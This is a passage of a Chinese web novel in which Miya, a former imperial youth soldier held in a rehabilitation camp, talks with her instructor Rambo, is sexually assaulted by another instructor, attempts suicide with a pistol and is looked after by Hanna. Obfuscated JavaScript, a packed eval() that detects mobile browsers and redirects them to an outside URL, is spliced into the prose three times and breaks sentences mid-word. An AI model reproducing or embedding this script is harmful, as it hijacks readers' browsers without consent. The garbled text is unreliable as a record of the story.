“现在再看的话,不少故事的确有鲜明的政治意味,但是--”他将书阖上,抚平封皮褶皱,伸直手臂向弥雅递还,“别有用心的隐喻对于十多岁的我来说,太难懂了。我只记得,那时读完我兴奋地告诉母亲,我读了一本很棒的书,我尤其喜欢其中一个故事的主人公。这个人创作的文字给我那时带来的触动是真的。至今我依旧这么认为。” 弥雅没有去接,她睁圆了眼睛,像是被兰波的话语吸了进去,情不自禁去追逐他指尖并不存在的蝴蝶。 第一次读完这本书的时候,她是什么感受? 她好像懂兰波在诉说什么,又一如既往地踏足完全陌生的领域。 最后,她只是尖刻地指出事实:“兰波教官,如果其他教官知道你竟然很欣赏这本宣扬帝国邪恶思想的禁|书,你会怎么样?” 兰波温和地叹息,耐心地继续说道:“这是两回事。弥雅,不是所有人都会同意我的观点,而我的观点也不一定正确。但我不认为作者的理念、乃至故事的内核是文学作品的一切。这个人的确误信了狭隘的观念,而这观念促动的战争伤害了许多人,杀害了许多人。但是否就要因此完全否定这些作品的价值?” 弥雅怔怔地听着兰波吐出一个又一个她不明白的词汇。 但不知道为什么,她愿意听他继续说。也许听下去,他的话语就能解答她那许多许多的疑问。也许。 “哪怕这个作家犯下了罪行,但他的作品就该同样接受制裁吗?反过来说,如果一本书提出了有可能煽动恶行的观点,但作者就一定也是这么想的吗?他应该为自己写了什么而受审判吗?”兰波眯起眼睛,露出迷路孩童般的恍惚神情。 弥雅哽了一下,沙哑地低语:“如果一个人干了坏事,但他又对很多人很好,那么他到底是好人还是坏人呢?” 兰波眼神闪了闪,蔚蓝的湖面泛起悲悯的弧光。 “弥雅,我不知道,”他轻声说,“这个世界、这个世界上的人都太复杂了。干净利落的答案不一定是最好的。会有许多人说我太天真、太理想化,但我还是想找到黑白分明的两极之外的容身之处。” 他微微地笑起来,但弥雅不知道为什么他的笑容看起来那么苦涩。 兰波拨了拨额发,忽然显得腼腆:“我也不明白为什么要对你说这些。你不明白也没关系。但是弥雅,就像这些书不该被判死刑,一个人即便犯下严重的过错,整个人也没有就此终结。我相信没有人是没有价值的,没有人是不值得重新开始的。” 4. 零下八十四 弥雅坐在接待室左手边的椅子上,另一把折叠椅倾覆在地。 敲门声响起。 “钥匙在你手上。”弥雅扬声嘲讽道。 “我不想突然开门吓到你。”这么说着,兰波打开房门走进来。他坦然自若地将折叠椅扶正,从军装外套里掏出一个油纸包裹,递给弥雅:“你又没有吃早饭。” 弥雅翻了个白眼:“我从来不吃早饭。” “我们也许要谈很久,还是事先垫垫饥为好。” “我和你没什么好说的,”弥雅环抱双臂,态度依旧冷淡,“今天根本没有必要见面吧?过去一周你像个跟屁虫似的,甩都甩不掉,还没跟够?” 兰波微笑:“但我们一直没能像现在这样坐下来好好聊几句。” 这样下去没完没了。弥雅深呼吸:“你想知道什么?” “先把这个吃了。” 磅蛋糕的甜腻香气钻入鼻尖。弥雅感到反胃,捂住了嘴,嘶声说:“把它拿走。” 兰波照做,歉然说:“看来你并不是磅蛋糕的拥趸,下次我换个别的。” “不需要下次。也没有下次,”弥雅将脸别到一边,“不要和我东拉西扯的,你想问什么?” 兰波凝视她片刻,摘下军帽,换了个坐姿,上身微微前倾,却不至于突入让弥雅的雷区。这拿捏得恰到好处的距离让她胸口一阵抽动的烦闷。弥雅讨厌兰波的眼睛。不仅仅是那笔直地看过来、仿佛看透一切的眼神;兰波确确实实将一切看得很仔细。他无时不刻在仔细观察她,捕捉一切,不放过她的逆鳞或是软肋。 这让弥雅毛骨悚然。 “和我们在这的第一次面谈一样,我和你轮流提问。怎么样?” 弥雅嗤笑:“兰波教官,你不觉得你应该先回答上次我提的那些问题?你好像一个都没能答上来呀。需不需要我帮你温习一下我都提了哪些问题?” 对方垂眸,无可奈何地笑着摇头,逐一复述弥雅有意投掷到他身上的问句:“你问我,我为什么明明没有经历过战争却在这里,我凭什么劝你走出来,我图什么,是不是为了自我满足,我是否为自己而害臊。” 分明是弥雅的质问,由他平静地转述,她竟然感觉被自己的问话所弹劾。弥雅不自禁抓住了椅子边缘。她知道自己逃不出这间雪白的房间,但身体还是紧绷,随时会僵硬地弹起来。她害怕兰波之后要说的话。 兰波停顿了片刻。 有那么一瞬间,弥雅以为他会仁慈地就此打住。但他没有。 兰波轻缓而坚定地开始陈述他的答案。他一定为了这一刻反复斟酌过,在脑内演练过,从措辞到语气,那在身前交叠的手指和恳切的眉间褶皱。兰波还没开口弥雅就本能地明白。这一次,将换兰波用言语逼她入死角。 “正因为我没有正面经历过这场战争,所以我才必须在这里。只有我能告诉你其他人无法告诉你的事,比如除了你所熟知的模样,世界还能是什么样子。这里的所有孩子都值得有个新的开始。但我也只是个普通人,一次只能向一个人伸手。弥雅,我希望你是我拉住的第一个。”兰波的视线追着弥雅看不见的蝴蝶走向记忆深处,那瞬间他身上尽是软弱的缝隙,以至于弥雅甚至不知道该先去戳破哪一处。 但他立刻重新看着弥雅,双眼里有起雾的湖面:“这的确是自我满足。我不否认。所以,弥雅,我也需要你的帮助。” 弥雅在他的注视下吞咽了一记。 她不知道为什么他还能露出笑容。 兰波轻声说:“求你了。” 弥雅像被魔咒定住,动弹不得。她干涩地眨眼,缓慢地从兰波带来的奇异震撼中抽身,喃喃:“这太奇怪了……这不对。” “哪里?” “一切。” “那么我们就从零开始,一点点把一切修好。” 弥雅用力摇头:“你在胡说八道。这不可能。” “我没有,”兰波拖动椅子,压在她隐形的红线边缘,“弥雅,战争已经结束了。不仅仅是这个国家,其他国家,这个世界都在改变。都在……变得更好。” 弥雅抓住了他一瞬间的犹豫,谎言的尾巴在摇曳。 但兰波抢先说:“至少,我希望是这样。” “这叫痴心妄想。” “那么,你必须离开这里、从这里毕业,去亲眼看一看外面的世界,才能证明我说的是错的。” 弥雅终于被逼到极限,浑身打颤,起身踢翻椅子,重重跺地怒吼:“即便我到外面……我也融不进去!那里没有我的位置!” “你怎么知道?” “我就是知道!”热气上涌,脸颊发烫,弥雅转身面朝墙角,抵达沸点的声音骤然冷却, “兰波教官,让我再问一个问题。你的家人,你父母是什么样的人?他们平时都在干什么?有几个兄弟姐妹?他们叫什么名字?你们平时在一起的时候……又都干些什么?” 兰波讶然沉默须臾,如实应答:“我父亲在银行工作,母亲在海外开始教别人家的孩子弹琴。弟弟伊万比我小五岁,还有一个小我七岁的妹妹安东尼娅。她在海外出生,从没见过我们的家乡。平时--” 他词穷,一时不知道该如何描述平时的家庭生活。 “周日你们都干什么?一起度过吗?会去哪里?”弥雅没有回头,再次连问。 “以前……周日会参加海外同乡的集会,和父母的朋友们和他们的孩子们一起在教堂街角的餐馆用午餐,之后会到一旁的公园散步,母亲有时会去购物,带上我和弟妹。父亲会和朋友们在咖啡馆聊天,等母亲和我们回来。”兰波在遥望回忆时,神情非常柔和。他很快回过神,仿佛有些懊悔,轻声问:“你为什么想知道这些?” 弥雅垂着头,用力地拽衬衣最下端的扣子。细线本就松脱下坠,她粗暴地数次拉扯之下,顿时断裂。她攥着被剥夺容身之处的纽扣,良久地沉默。就在兰波以为她不准备开口的时候,她低声说: “福利院的大家也是家人,一个大家庭。但我一直知道那和真正的家庭不一样。” 弥雅清晰可闻地深呼吸数次。 “那时在少年军还不需要真的战斗--只需要在检阅仪式上排队行礼的时候,偶尔福利院的指导员……我们的妈妈,会带几个孩子跟着她去采购。所有人都想和妈妈一起去采购。”弥雅的语声飘忽起来,宛如梦呓,她不知道自己为什么要说这些,但停不下来,“妈妈并没有特别喜欢我。但是每个人都会轮到至少一次采购。然后那一天,我就第一次去采购了。那是我第一次那么近地看橱窗里的东西,之前我只在车窗后模模糊糊看过几眼。全都是我没见过的东西。” 她缓缓转身,宛如儿时记忆中的商店橱窗再次近在眼前。她甚至伸手,仿佛要贴上玻璃,好将店内的状况看得更清楚。 “但是让我最稀奇的不是橱窗里的东西,是橱窗后面,站在柜台前的一家人。那个男人头发都秃了,肚子也挺出来。他身边的女人有血一样红的嘴唇,和男人相反,像是吃不饱饭,瘦弱得像小鸡,怀里却抱着一个和男人头发一样颜色的胖女孩。我觉得他们很丑,比福利院的所有人都丑,但是……男人从售货员手里接过一个盒子夹在腋下,低下头去亲女人,胖女孩挥舞着手臂咯咯笑,女人将头靠在男人肩膀上。他们看上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726819|189495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去都非常非常快乐。但是我--” 弥雅迷茫又疲惫地耷拉肩膀:“我不知道他们在干什么。我不明白。” 兰波注视着她,脸上难得失去表情。 “但我立刻就明白了,他们是家人。那才是真正的家庭的样子。我知道自己的大家庭是特别的,因为妈妈一直这么说,但只有在那一刻,我才明白那是什么意思。我第一次真正意识到,原来真的还有普通的、相亲相爱的、有父亲有母亲的家庭存在。” 弥雅缩手,仰头看雪白得刺目的天花板,挤出一个微笑:“我的第一反应不是嫉妒。想要变成那个胖女孩。我的确那么想过。但那是过了一会儿回过味来之后才有的反应。我那时蹦出来的第一个念头是,太好了。” 她哽了一下,眼睫眨动飞快:“太好了,原来世界上不是每个人都和我、和福利院的大家是一样的。” “弥雅……”兰波起身,却被她拒绝的姿态阻住脚步。 “从那个时候开始,我就知道,在我的世界以外,有我如果不亲眼见到、根本想都想不到的世界。但即便出去了,那又怎么样呢?我只是从那个橱窗边路过。我没法走进那家店。我不属于那里。”弥雅眯起眼睛,凝视肩头不再存在的制服肩章,“不是每个帝国少年军成员都是孤儿。但从福利院出来的少年军不一样,我们都是这样的。我们生来就不属于外面,全是我们不明白、也和我们没有任何关系的东西。我们……还是在更小的世界里,像那些杀人的大铁块里的燃料电池,什么都不知道,只是快速地用完、烧干净,那样更快活、更自在。” 长久的寂静。 弥雅久违地感到心满意足。她没想到会将这些事都说出来。但兰波这下也该明白,也该放弃她了。 “弥雅,”兰波走近一步,见她没有后退,便再近一步,直到与她面对面,他弯腰,几乎与她平视,异常严肃地问,“你刚才说的‘我们’是谁?” 弥雅困惑地皱眉:“福利院出身的少年军啊。” “福利院出身的少年军,有多少人?” “我不知道……几万?十几万?我怎么会知道。”弥雅想要后退。 兰波搭住她的肩膀。她颤抖了一下。 他的声音令人镇静:“你认识这几万十几万人里的每个人?” “怎么可能……” “那么你出身的福利院,有多少人加入了少年军?” “和我一起的……有快二十个人吧,十八个。” “你知道这十八个人每个人都是怎么想的?他们中的每个人跟随妈妈去采购的时候,都见到了你见过的景象,心头都涌上了相同的念头?每一个?你确定?” 弥雅试图挣脱,声调拔高:“你问这些干什么?我……我不知道。但他们肯定也是这么觉得的,我们……只有我们能互相理解,你不明白的!” “为什么你这么觉得?你向他们中的每个人逐一确认过吗?”兰波停顿了一下,深邃的蓝眼睛一瞬间有些可怖,“还是说,这是阿廖沙告诉你的?” 阿廖沙。 弥雅瞬间全身僵硬。 她使尽全力试图挣脱,抬手想要戳兰波的眼球,迫使他放开她。 “弥雅!”兰波抓住她的手腕,有力却不粗暴,“听我说。你是你,不是你们。你的感受、你见到的东西、你的思考,都是你一个人的东西。会有和你经历和想法相似的人,但你和那些人,不论你们加起来有多少人,都不是一个面目模糊、想法完全一致的‘我们’。” 弥雅颤抖着,闭上眼,但是这么做无法闭塞耳朵。 “弥雅,这世界上只有一个你。” 5. 零下八十三 “不,不对,这不对……你不明白!” “我哪里不明白?告诉我,弥雅。” “除了少年军的回忆以外,我什么都没有了。如果失去这个身份,我……又是谁?而且,我不可能摆脱前帝国少年军成员这个标签,一辈子都不可能!” “从这里毕业的学员都开始了新的人生。” “我都说了,我们……我和他们不一样!即便我离开这里,就算我把名字把过去全都改掉,但只要有人发现我曾经属于少年军的精英战队,所有人看我的眼神都会变化,只是一瞬间的事,我知道的……” “弥雅。” “够了,今天就这样吧。” “弥雅,请你坐下,我们的谈话还没有结束。” “……我不觉得还有什么好说的。” “我并非不能理解你的心情,但过去并非一个人人生的一切。人是能够改变、也不断改变的生物。能决定你明天要成为什么样的人的,只有你自己。” “你真的很擅长说漂亮话,兰波教官。” “这不是漂亮话,……是亲身体验。” “什么意思?我以为你从没上过战场。” “我的确没有。但战争会来到每个人身边。” “你……” “前年,帝国派出的特工在海外发动了数次袭击。其中一次就发生在我和家人居住的城市。” “我知道这次袭击。针对大使馆的自杀式袭击……少年军成员伪装成逃难海外的儿童,我和他们几个应该在哪一次集会上见过。” “在那次袭击中,我的妹妹安东尼娅不幸丧生了。” “……” “她和你差不多大。” “你--我过去的伙伴杀了你的亲人,你却在这里……在这里劝说杀死你妹妹的凶手开始新生活?!” “弥雅,杀死安东尼娅的并不是你。” “兰波教官,你要么是个圣人,要么就是个彻头彻尾的疯子。” 不知道第几次,弥雅在脑海中夺门而出。 如果再在那间屋子里多待一刻,不知道会发生什么,她不知道自己会做出什么行径……弥雅的想象力突然枯竭了,她一头撞进思维迷宫的死路尽头。她只想逃离兰波,离他越远越好。此前她只是本能地厌恶他,但当他以比艳丽的剧毒染料更湛蓝的双眸看着她,无比平静地宣告她在他眼中无罪,弥雅被恐惧击穿,一口吸干力气。 哪怕只是回忆与兰波的这段对话,她便再次被摁进接待室那狭小的深海底部,无法呼吸。 但接待室的门上锁。 弥雅打不开门,无法逃离名为兰波的地狱。 他走到她身后。 她开始发抖,膝盖打颤,往地上跌坐。 他想要什么?他想要对她干什么?他又想要对她说什么?还会说什么? 弥雅不敢回头。她不能被映照在兰波的眼睛里。不能让兰波看着她,否则她就会知道在他眼里,她究竟是什么样子。而那一定是她无数次向镜面伸手也不曾触碰到的真实。 锁芯转动,发出轻响。 弥雅惊得一跳,硬生生地将下意识抬起的头压下。但兰波身躯的残影还是闯进她的视野边缘,苍蓝的制服开始灼烧。白色的房间敞开,门外是更敞亮的午后,里外都在日光中灼烧,一切都在灼烧。 “我没有选择仇恨,决定成为现在的自己。弥雅,你一样可以做决定。” 兰波只说了这么一句。 弥雅捂住脸。她每次都只能在这里停下,调转方向重新回想这段对话的始末。 一只手搭住她的肩膀。 从下腹涌上恶寒,弥雅反手甩开,撑住露台水泥地面跳起。她靠在铁丝防护网上,瞪着来人,右手下意识地抓住自己的另一只手,小臂交叠护在身前。 “好久不见啊。”身材魁梧的教官抬起军帽致意,摸了一把板寸头,帽子归位。 “威尔逊……你想要什么?” “这不是明知故问嘛?”对方歪嘴嗤笑,慢悠悠地踱步靠近,“自从我们共同的朋友死后,我们还没好好单独聊过。我昨天才回来的,这不?立刻就来见你了。” “我和你无话可说。”弥雅向侧后方退,勉强维持与威尔逊的距离。这是徒劳的。露台的出口只有一个,在威尔逊身后。只要威尔逊想,他就可以轻而易举抓住她。她挣脱不了,逃不掉。她很清楚这点。威尔逊也知道。 但威尔逊只是微微地蔑笑着,容她扮演猫鼠游戏中被逼入绝境的猎物。 有那么一瞬,弥雅真心觉得威尔逊还不如直接抓住她。被迟迟不降临的一线未来吊着太折磨人了。越逃对方兴致越高昂。念及此,她索性驻足不动。 威尔逊满意地加深笑容,走到她面前:“听说你向汉娜申请换教官?正合我意。原本接手斯坦手下学员的应该是我,但不知怎么你被安排给了一个凭空冒出来的新人。交给我吧。” “不需要你白费心思。我不会成为你的学员,死都不会。” “那就死一次给我看啊。就在这里。” 世界被掀翻了。世界沉入海底。 一个弥雅被冲击推出了身体,飘浮在麻木的洋流中。另一个弥雅躺在那里溺水,恐慌中本能地朝着露台出口方向看。有没有人,有没有人会来。 “杀了你……我要杀了你!” “呵,你的好朋友阿廖沙不会来救你的,他还躺在医院里。” 阿廖沙的名字吹进一口能呼吸的氧气,弥雅尖叫:“操|你自己的屁|眼去吧!” “看起来要被|操的可不是我的屁|眼,”威尔逊捏住她的下巴,“好了,给我消停点。还是说,你需要我好好管教你一次?” 弥雅挤出一个冰冷的微笑:“威尔逊,你也有个被帝国军强|暴的姐姐吗?” “你他妈说什么?” “斯坦有一个。” 躺在地上的弥雅被击碎了。悬浮的弥雅只是冷漠地旁观。 半张脸火辣辣地发麻,弥雅出声都变得十分困难:“今……” “哈?” “今天没有下雨……” “哦对,斯坦还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726820|189495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这怪癖。他把你看得和个宝贝似的,一根手指都不让我动。但斯坦死了,我不在乎他有什么黏黏糊糊的借口和规矩,现在要随着我来。You cunt. And I will do what I should do with a cunt whenever I want. Shut the f00k up. Understood” --弥雅,你一样可以做决定。 她竟然微笑起来。 “你笑什么?!笑什么!” “唧唧歪歪那么久,我听说到了你这个年纪男人就会能力衰退。” “你这个--” 冰冷的上膛声令两个弥雅合二为一。 “教官,举起双手,站起来,转身,否则我就开枪了。” 弥雅像被雷电击中。她想,这可不像没有杀过人的口气。 重压释去,她蜷缩起身体,后知后觉地感到冷。今天没有下雨,但是楼顶很凉。周围越来越嘈杂,她的意识被挤兑得越来越稀薄,最后只剩下一个小小的点。 “弥雅,弥雅?弥雅!” 重影摇摇晃晃,许久才终于叠合成一个清晰的人像。有什么被遗落在了海底,弥雅不知道兰波此刻是什么表情。她辨认不出来。 又或许是不想看明白。 因为眼前和脑海深处还同时播放着来自过去的场景。下雨,一直在下雨。斯坦教官。讨厌下雨天。又下雨了。威尔逊。一直在下雨。雨就没有停过。 身上搭着的教官制服外套映入眼帘,弥雅剧烈颤抖了一下。她将自己往内卷,想要就这么原地消失。 为什么来的偏偏是兰波?初次见面会错意被拒之后的耻辱感又一次袭来,比上次更猛烈,更致命。偏偏是兰波。别看,别过来,求你了。真是奇怪。那些她应该用在向威尔逊求饶的词句这个时候反而一个劲地往喉头舌尖涌。 白色的衬衣,黑色的枪套。 弥雅不假思索伸手,利落地从兰波腰间抢过手|枪,抵在太阳穴。 夺取生|命|的|道|具像个久别的旧友,沉甸甸的分量拖着她的手腕往下沉。但她拿稳了,扳机扣到一半。 “帮我告诉阿廖沙,我很抱歉,对不起……”她从嗓音开始崩溃,“对不起,教官,对不起,对不起……” 保险栓咔嗒一声回拨,扳机锁住。 兰波捏住她握枪的手,另一手的手掌合拢包住枪口。他的手很冷。弥雅打了个寒颤。这双手慎重缓慢地将枪口下压,带离她,指向地面。 兰波清晰可闻地吐出一口长气。 但弥雅还是抓着不放手。枪口另一头是个失之毫厘、被她一瞬的犹豫硬生生错过的出口。 兰波说了句什么。 弥雅没听清。 随即,她意识到兰波的声音在颤抖。 “不要道歉,别这样,最该对你道歉的人……那么多人,谁都没有向你道歉--” 他说不下去了。 弥雅愣愣看着兰波。 这个人竟然在为她哭泣。 6. 零下八十三 弥雅没有想过会有人为她而哭,无缘无故。 那个人牵着她走,离开白夜,步入黄昏。 陌生的走廊,似曾相识的门,没有到过的房间。兰波在门边驻足,半张脸蒙在帽檐垂落的阴影里,仿佛要将刚才的失态用加倍的克制弥补:“这里是安全的。今晚你先住在这里。” 一拍半的沉默。 弥雅想,放她独居不是个明智的决定。 “我也许不是陪着你最好的人选,所以……我另托他人照看你。” 在弥雅因为兰波的话紧绷起来之前,金发女性从房门后的死角里转出来。 “汉娜小姐,弥雅就拜托你了。” “兰波教官,你欠我一个人情。他们可不会给看小孩这种麻烦事发加班费。”档案室的汉娜将弥雅一把拉过去,动作比看上去要轻柔。 弥雅咬着嘴唇回头。 兰波已经不见了。 “要道谢改天吧。坐下,我看看你的脸。”汉娜特意让弥雅看到她将门锁上了,又抢白,“我不会开灯的。” 弥雅便将来不及出口的请求咽下去。 “脸除了有点肿没什么,洗个澡,冷敷一下就行。” “为什么他会找你?” 汉娜直起身的动作顿了顿:“好问题。也许兰波先生把你对我大喊大叫解读成了关系亲密。” “也对,我不会对每个人大喊大叫。”弥雅哂然,嘴角牵动,疼得一抽气。 汉娜突兀地转身背对她,摘下眼镜:“听好了,弥雅,如果你有什么向倾诉的--” 她词穷,抱臂叹气。 弥雅第一次见到汉娜这样无措,不禁感到十分有趣。他人的惊慌和愤怒令她愈发镇静,甚至能事不关己地宣告:“我不需要安慰,也没有想和别人倾诉的话。汉娜,威尔逊连裤子都没来得及脱。我没事。” “怎么可能没事?!” 汉娜陡然拔高的声调吓了弥雅一跳。 “抱歉,”汉娜烦躁地揉着眉心,回眸凝视她,“听着,不管你在来到改造营以前做了什么,但今天发生的事……你一点错的都没有,错的是那狗养还不如的杂种。” “我之前可不知道,原来汉娜还会骂脏话。” “小孩子不知道的事可多了。” “汉娜,你不知道的事也多了去了。” 两人隔着一步的距离对视。沉默的空气逐渐变得黏稠厚重。 弥雅看着墙面上百叶窗格透进的灯光,面无表情地低语:“威尔逊不是第一个,斯坦才是。威尔逊之前只是知情的帮凶。” 汉娜骇然咽了一口唾沫:“传言并不是传言。所以斯坦的死才会……” 弥雅垂眸,弯了弯眼角:“任你想象了。你看,这些事你都不知道吧?” 汉娜无言以对。 弥雅别开脸。 汉娜戴上眼镜,口气恢复平素的冷静:“你可以放心的是,威尔逊那个混蛋完了。他本来就是个不知道收敛的蠢货,得罪了不少人。你的保护人会收拾他的。那句话怎么说的?总之不要和银行家的儿子作对。” 有几个银行家能教养出和疯子只差一线的圣人? 弥雅没有答话。 “我建议你去洗个澡,那扇门后就是浴室。”汉娜环抱双臂,“你能不能保证不会用浴巾上吊或者把通电的吹风机放进浴缸?否则我就得跟着你进去。” “哦汉娜,我累得根本没力气去死。” “那真是帮大忙了。”汉娜的反讽比往常要更柔和。 这含而不露的好意让弥雅的额角抽痛。她立刻竖起防卫的刺,冰冷道:“汉娜,你知道吗,从刚刚开始,你对我表现出的关怀比我和你相识以来的总和还要多。” 不给汉娜答话的机会,弥雅反手关上浴室门,背靠门板,缓缓坐倒在地。 她犯了个错误,竟然下意识地闭上眼。 又开始下雨。不下雨的时候便回到屋顶的露台。 喉咙深处在沸腾,弥雅摇摇晃晃地站起来,将水龙头拧到最大,扒住盥洗台边沿呕吐。 “弥雅?”汉娜敲门。 弥雅吐出漱口的水,看着逐渐变得清澈的水流扭曲成坠进下水道的螺旋,粗鲁地回应:“还没死!” 刻意回避着镜中的自己,她脱下制服。 将水温调到最烫,弥雅拉上浴帘。 藏木于林,淋浴花洒下最适合哭泣。弥雅本以为自己已经不会哭了,但她还是禁不住在滚烫的水流冲刷下弓起背,俯下身,捂住嘴无声尖叫。她在脑海中咒骂,诅咒威尔逊,诅咒斯坦已经脑浆飞溅的尸体,诅咒每个人,诅咒离她而去不知姓名的双亲,诅咒自己。她以意念亵渎神明,质问为什么要让她降生,为什么……要让兰波出现在她面前。 汉娜又在敲门。 弥雅关掉水龙头,湿淋淋地踏出浴缸,在蒸腾的水汽里寻找浴巾的影子。 “汉娜,放心,这条毛巾太厚,又不够长,没法用来上吊。” 胡乱擦干身体和头发,弥雅嚯地打开门。 汉娜向她身后看了一眼,浴室地面全是水,挑着眉摇头:“你打算在浴室里养鱼吗?睡衣在那里。” 弥雅套头穿上上衣,发现前后反了,但懒得折腾,便任由它去。 “你不吹干头发?” “放着自己会干。” 汉娜耸肩:“要吃点东西吗?” “不需要。” “我想也是,那么安眠药呢?” 弥雅盯着对方看了片刻,勾唇:“这个主意不坏。” “张嘴,--”汉娜扳住弥雅的下巴,向她口中扔进药片,松手后退,朝床头柜上的纸杯一指,“我可不会把一整瓶都给你。” 是纸杯,而非可以砸成尖利碎片的玻璃或是陶瓷制品。 “谢谢你,汉娜。”弥雅一口闷下杯中的净水,觉得汉娜小心谨慎得让人想捉弄。但也许这是兰波的叮嘱。揶揄的话便沉进肚中。她往后仰倒,淡淡说:“我似乎只能睡觉了。” 汉娜在床沿坐下,背朝弥雅:“虽然我也觉得怪不自在的,但我和你睡一张床。” “说不定你意外适合带孩子,考不考虑换个工作?” “我不喜欢小孩。” 弥雅闻言轻笑:“为什么我一点都不惊讶呢?” “我从来没试图掩饰过这点。” “那么作为讨厌小孩的代表,能不能告诉我,人为什么会丢掉自己的孩子?” “战争的时候不一样。如果死了,即便再不情愿,也只能丢下自己的孩子。” “有那么多恰好死去的双亲吗?” “弥雅,我没法回答你的问题。” 片刻寂静。 “汉娜?” “嗯?” “说点什么,随便什么都行,到我睡着为止。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726821|189495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你应该知道我不擅长找无用的话题。” “那么……你见过战争之前的世界吗?或是战争以外的世界的样子。” “勉强记得一些吧,但已经模糊不清了。如果不写入芯片保存副本,人类的记忆力和知了一样短命。蛰伏七八年,在地下的时候以为总有一天要回忆起来的时候,一定能想起来的,但事实上,真的到了见光的时候才发现大部分都已经不记得了。但也未必是坏事。遗忘这事。” “什么事都能忘记?” “我不知道。但我在你这个年纪的事……说实话,也已经很遥远了。” “难以想象。” 汉娜停顿了一下,忽然换了话题:“其实我不止一次想过,战争也好,和平也好,和我这样微不足道的小人物又有什么关系。确切说……正义的那方也好,邪恶的那方也好,受苦的、出力的、承受代价的似乎永远是同样的几批人。” “哲学家汉娜,你又让我惊讶了。” “比如说穷人,比如……女人。” 弥雅将被子卷紧,没有答话。 汉娜像在自言自语:“男人会为了女人挑起战争,至少名义上是这样的。谁的妻子、谁的妹妹、谁的女儿被敌人强|奸了,这消息足够煽动人拿起武器去送死。但是--但是他们对敌人的妻子、妹妹还有女儿做同样的事,以体会过的耻辱羞辱回去,并沾沾自喜。可为什么一个人的身体遭受了什么,会成为另一个人的耻辱?这只能是因为其中一个人并不被看作是人,而是另外那个人的所有物。” 弥雅想问,那么她是谁的所有物?解散的少年军?不复存在的帝国的亡灵? 她不动声色地问:“你为什么会这么想?” “帝国军强|暴境内反抗他们的人的亲人,共和国军队打进首都的时候,他们也强|暴不得不服从帝国将领的市民。”汉娜的声音有一瞬变得飘忽,“我……的邻居遭遇了这样的事。她生下了一个只带给她糟糕回忆的男人的孩子。也许你该去问她,为什么会有人抛弃自己的小孩。” 弥雅现在知道自己在说没事的时候,别人耳中听起来是什么样子了。 “所以你不仅讨厌小孩,也讨厌男人?” 汉娜笑了:“不,我不讨厌男人,我只是倾向于……不太看得起他们。不要搞错了,我可不认为所有女人都是无辜的羔羊。只不过,偶尔也有那么一两个像样的男人。” 弥雅蜷缩起来,她预感到之后要出现的名字:“我有点困了。” 汉娜像是没听见她的借口:“偶尔也会有兰波这样的人。也不知道他是从哪里冒出来的,不知道为什么他不管走到哪,都能保持他那个样子,就像……抖一抖童话书,他就从那个正义必胜的故事掉进了这个世界。” 这个形容让弥雅失笑。但她能毫不费力地想象这个画面。也许睡魔已经开始侵袭,她才会看见兰波不懂得躲闪的眼睛。 汉娜翻了个身:“弥雅,你肯定不同意,但你很幸运。” 反驳的话就在舌尖,弥雅屏息,缓缓改换答句:“我不需要你提醒我这种事。不是每个人都会碰上一个吃饱了没事干、从海外跑回这里的银行家儿子当指导教官。” “我知道,我想提醒你的是,兰波很好,但你不能爱上他。” 弥雅嘲讽地轻笑,任由自己陷进清醒与迷蒙的夹缝,喃喃: “多谢你的忠告。但这是瞎操心……” 7. 零下八十 “感谢你的配合,弥雅,如果你还想起什么,或是有任何需要帮助的事,都可以联系我。”身着警官制服的短发女性这么说着,向弥雅递出一张手写卡片。 上面是一个名字,卡塔丽娜·谢尔更,还有一串数字。 弥雅讶然看向对方。 “我知道你可能没有通讯装置接受电子名片,所以只能手写我的号码。” “改造营没有通讯装置。至少,没有学员可以用的。” 谢尔更警官怔了怔。 在对方露出怜悯的表情之前,弥雅转过身:“那么,再见。” “我送你出去。啊,你的监护人就在那里。” 弥雅顺着警官的视线看过去。玻璃门的另一侧,兰波站在那里,没有穿教官制服。弥雅分辨不出他穿戴得是否符合银行家儿子的身份,但那身行头看起来比制服昂贵许多。如果不是有人指出来,她也许认不出他。 “他不是我的监护人。”弥雅淡淡说。 谢尔更警官似乎不知道如何应答,领着弥雅走到兰波面前。 “能再次见到你我很高兴,凯蒂。” “米哈尔,好久不见,”谢尔更略微垂下视线,“对于你妹妹的事……我很遗憾。希望你的双亲还好。” “有伊万陪着他们。没什么不放心的。” 兰波和谢尔更警官之间有一瞬微妙的沉默。 弥雅默不作声地打量他们。是旧识。米哈尔。这下她知道教官名册上的M.兰波是什么的简写了。视线与兰波撞个正着,弥雅立刻别开脸。 “那么我也该告辞了,之后的事拜托你了。” 